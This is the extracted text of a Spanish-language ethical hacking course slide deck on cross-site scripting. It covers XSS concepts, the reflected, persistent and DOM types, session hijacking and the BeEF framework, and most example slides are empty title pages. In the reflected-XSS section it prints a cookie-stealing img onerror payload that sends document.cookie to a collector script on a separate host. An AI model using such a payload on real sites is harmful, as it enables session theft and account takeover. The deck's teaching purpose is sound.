Anda di halaman 1dari 49

CURSO ETHICAL HACKING

Ethical Hacking Aplicaciones - XSS

Omar Palomino
omarc320@gmail.com
opalomino@kunak.com.pe
#whoami
• Ing. Sistemas – ISO 27001 Lead Auditor, CISM,
C|EH, C)PTE, C)SWAE, C)PEH, ITILv3, C)ISSO
• Instructor Oficial de MILE2
• Consultor de Kunak Consulting SAC
http://www.kunak.com.pe
• Psicólogo que aun no comienza sus estudios….
• Escritor en mis tiempos libres:
http://www.el-palomo.com

opalomino@kunak.com.pe
AGENDA

I. ¿Qué es Cross Site Scripting?


II. Tipos de Cross Site Scripting (XSS)
III. XSS Reflejado
IV. XSS Persistente
V. Técnicas avanzadas de explotación
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS

 Cross Site Scripting (XSS) es un ataque de inyección de código


JAVASCRIPT (antes también Visual Basic Script) en el navegador web del
cliente.
 Cross Site Scripting (XSS) es un ataque muy utilizado por atacantes
informáticos.
 XSS se encuentra en el tercer lugar del OWASP Top 10 del año 2013.
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – Conceptos PREVIOS

 ¿ Inyección de código JAVASCRIPT? ¿Igual que SQL Injection?

No. Existe una diferencia importante entre XSS y SQLi, los ataques de Cross
Site Scripting (XSS) se ejecutan en el navegador web del CLIENTE. Por eso
XSS cabe dentro de la categoría de Ataques del Lado del Cliente (Client Side
Attack).

Por otro lado las inyecciones SQL (SQLi) se ejecutan en el servidor, es decir,
el código es procesador en el servidor web y ejecutado en la Base de Datos
que soporta la aplicación.
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – Estructura del Ataque


1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – ¿Qué es JAVASCRIPT?

 ¿ Qué es JAVASCRIPT?

1. JAVASCRIPT (abreviado como JS) es un lenguaje de programación


interpretado y utilizado del lado del cliente (navegadores web).

2. Es utilizado de manera común para mejorar la interfaz de usuario y realizar


operaciones con mayor facilidad a los usuarios finales.

3. Actualmente es utilizado ampliamente para enviar y recibir información del


servidor junto con ayuda de otras tecnologías como AJAX.

Datos importantes:
A. JavaScript no funciona igual en todos los navegadores, es decir, no todos los navegadores
interpretan el código de la misma manera.
B. La ejecución de código JAVASCRIPT puede ser deshabilitado en los navegadores.
C. Aplicar controles de seguridad a nivel de JAVASCRIPT es un GRAVE ERROR.
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – Escribamos un poco de JS

<html>
<head>
<script>
alert("hola Mundo");
</script>
</head>
<body>

Hola mundo

</body>
</html>
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – Escribamos un poco de JS

Debemos conocer algunas funciones básicas de JAVASCRIPT:

Alert( ) : Muestra un mensaje de alerta en el navegador


Prompt( ): Muestra un cuadro de texto para ingresar información
Document.cookie: Obtiene las cookies del navegador
document.location: Redirecciona a otra página web
1. ¿Qué es Cross Site Scripting?

A. CONCEPTO XSS – ¿Cuál es el riesgo de XSS?

 ¿ Cuál es el riesgo de XSS?

1. JAVASCRIPT (abreviado como JS) ejecutado en el navegador web puede


ser utilizado para realizar diferentes maliciosas en el cliente.

2. XSS puede ser utilizado para ROBAR cookies e ingresar a sistemas de


información sin autorización.

3. XSS puede modificar la apariencia de la aplicación web.

4. XSS puede realizar re direccionamiento no autorizado a portales web.

5. Finalmente, puede llegar a ejecutar exploits en el computador del cliente.


1. ¿Qué es Cross Site Scripting?

B. Tipos de CROSS SITE SCRIPTING (XSS)

 Existen 03 tipos de Cross Site Scripting (XSS):


 Cross Site Scripting Reflejado o también Cross Site Scripting NO
PERSISTENTE.

 Cross Site Scripting Persistente

 DOM Cross Site Scripting


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado

 El XSS reflejado es un ataque que sólo afecta a los usuarios que ejecutan
el script a través del navegador.

 El atacante incrusta código JAVASCRIPT en el navegador de cada usuario,


para esto el atacante genera un link que contiene código malicioso.

 El atacante envía el link malicioso generado a la víctima ( a través de


correo electrónico, redes sociales, URL shortener, etc)

 La víctima ingresa al enlacen malicioso y la aplicación REFLEJA el código


malicioso y se ejecuta finalmente en el usuario final.
1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

EJEMPLOS
1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 Redireccionado el portal web


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 Cambiando la apariencia del portal


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 Cambiando la apariencia del portal


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 Cambiando la apariencia del portal


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 Robando cookies

<img src=x onerror=this.src='http://192.168.4.190/steal.php?cookie='%2bdocument.cookie>


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Reflejado - EJEMPLOS

 En el servidor se debe configurar lo siguiente:


1. ¿Qué es Cross Site Scripting?

D. Cross Site Scripting (XSS) Persistente

 El atacante logra embeber el código malicioso dentro de la aplicación, por


lo general se logra embeber el código de la siguiente manera:
 Guardando la información en la Base de Datos
 Agregando información NO autorizada en las cabeceras de un archivo
(backdoor).

• El usuario final ejecuta el código JAVASCRIPT tan solo accediendo al portal


que antes ha sido vulnerado.
1. ¿Qué es Cross Site Scripting?

D. Cross Site Scripting (XSS) Persistente

 A continuación, se brinda la infraestructura de un ataque del tipo XSS


Persistente.
1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS

EJEMPLOS
1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


1. ¿Qué es Cross Site Scripting?

C. Cross Site Scripting (XSS) Persistente - EJEMPLOS


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Robo o secuestro de sesión (Session Hijacking)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Robo o secuestro de sesión (Session Hijacking)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)


TÉCNICAS AVANZADAS

D. TÉCNICAS AVANZADAS DE EXPLOTACIÓN

 Uso de BeEF (Browser Explotation Framework Project)

Anda mungkin juga menyukai